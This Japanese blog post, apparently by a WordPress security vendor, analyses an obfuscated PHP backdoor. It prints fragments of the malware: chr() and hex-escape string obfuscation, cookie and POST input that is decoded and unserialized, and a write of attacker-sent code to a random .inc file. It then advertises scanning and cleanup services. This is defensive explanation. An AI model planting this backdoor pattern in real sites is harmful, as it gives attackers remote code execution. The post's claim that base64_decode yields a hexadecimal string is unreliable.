昨今非常に検出が増えている対応のマルウェアで、chr(数字)、もしくは”\x74″.”\x5f” 等のバックスラッシュと数字の文字列が含まれているタイプのマルウェアについて解説いたします。


暗号化されたコード

このタイプのマルウェアは、ワードプレスのインストールされたフォルダに ランダムな文字列と.php拡張子の不正なプログラムを複数のフォルダに生成します。

最初の数行を見ていきます

$qohnpiqep = "6".chr(105).'l'.chr(101).chr(95)."\x70".chr(117)."\x74"."\x5f".chr(99)."7".chr(110).chr(150-34).'e'.chr(497-387).'t'.chr(115);
$wcwij = "2"."\x61".chr(115).chr(129-28).'6'.'4'.chr(95)."4"."5".chr(99)."7"."\x64"."\x65";
$pgovfimf = chr(898-793).chr(110).chr(949-844).chr(361-266).'s'.'e'."4";
$zefyoag = "\x75"."6".chr(1023-915).chr(105)."\x6e".chr(428-321);

chr(101)や”\x74″等の個所は、文字列を難読化しているものです。ハッカーは一目で見てどのような処理内容かわからないようにコードを読みにくくする処理を行うことが多いです。
難読化解除すると下記のようになります。

$qohnpiqep = "file_put_contents";
$wcwij = "base64_decode";
$pgovfimf = "ini_set";
$zefyoag = "unlink";

file_put_contents はファイルを書き込む処理名、base64_decodeは文字列を16進数の文字列に変換する処理で、非常に多くのマルウェアがこの処理を検出されないように、難読化処理します。

その下の処理の部分を見ていきます。

$cgzit = array_merge($_COOKIE, $_POST);

この部分で、ハッカーが送信した不正なプログラムのデータを受け取り、

$xtirwbjmmx = @unserialize(xjwnspw(xjwnspw($wcwij($xtirwbjmmx), $ohfrxyct), $pslyhezy));

の部分でその受け取ったデータを暗号化解除したうえで、

$cngjt = "./" . md5($ohfrxyct) . "\x2e".chr(105).chr(710-600)."3";

の部分でファイルを書き出ししています。

この部分さらに難読化解除してみます。

$cngjt = "./" . md5($ohfrxyct) . ".inc";

という文字列が現れました。ランダムな文字列.incというファイル名でハッカーが送信した任意の処理コードをいつでも実行できるように書き出していることがわかります。

つまりこのファイルは、ハッカーがサーバー上に不正なプログラムを書き込む、バックドアと呼ばれる種類のファイルであることがわかります。

処理の実態がない最近のマルウェア

昨今のワードプレスのマルウェアは、ハッカーがネットワークを通して送信した任意のプログラムをバックドアを通じて書き込んだり、実行したりするタイプのものが多いです。

つまり、送信ファイルやデータを実行するのみのバックドアと任意の内容のプログラムを好きなタイミングでサーバー上で実行できる機構が組み合わさっているため、処理の実態がサーバー側に無いこという事になります。

これは、ハッカーがサーバー上で何をしたのかが刻一刻と変わる為、不正な活動の全容を調べることが困難となることを意味します。

このタイプのマルウェア感染が疑われる場合は?

まず、サーバー内にあるすべてのワードプレスファイルのマルウェア検査を行います。

【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

さらに、下記を参考にし、ワードプレスサイトのセキュリティー向上に努められると、さらなるマルウェア感染を大きく軽減できるかと存じます。

無料でできるワードプレスのセキュリティー対策5選

WordPress ワードプレスのマルウェア検査・駆除、セキュリティー対策をプロフェッショナルが代行いたします。お気軽にご依頼ご相談お送りください。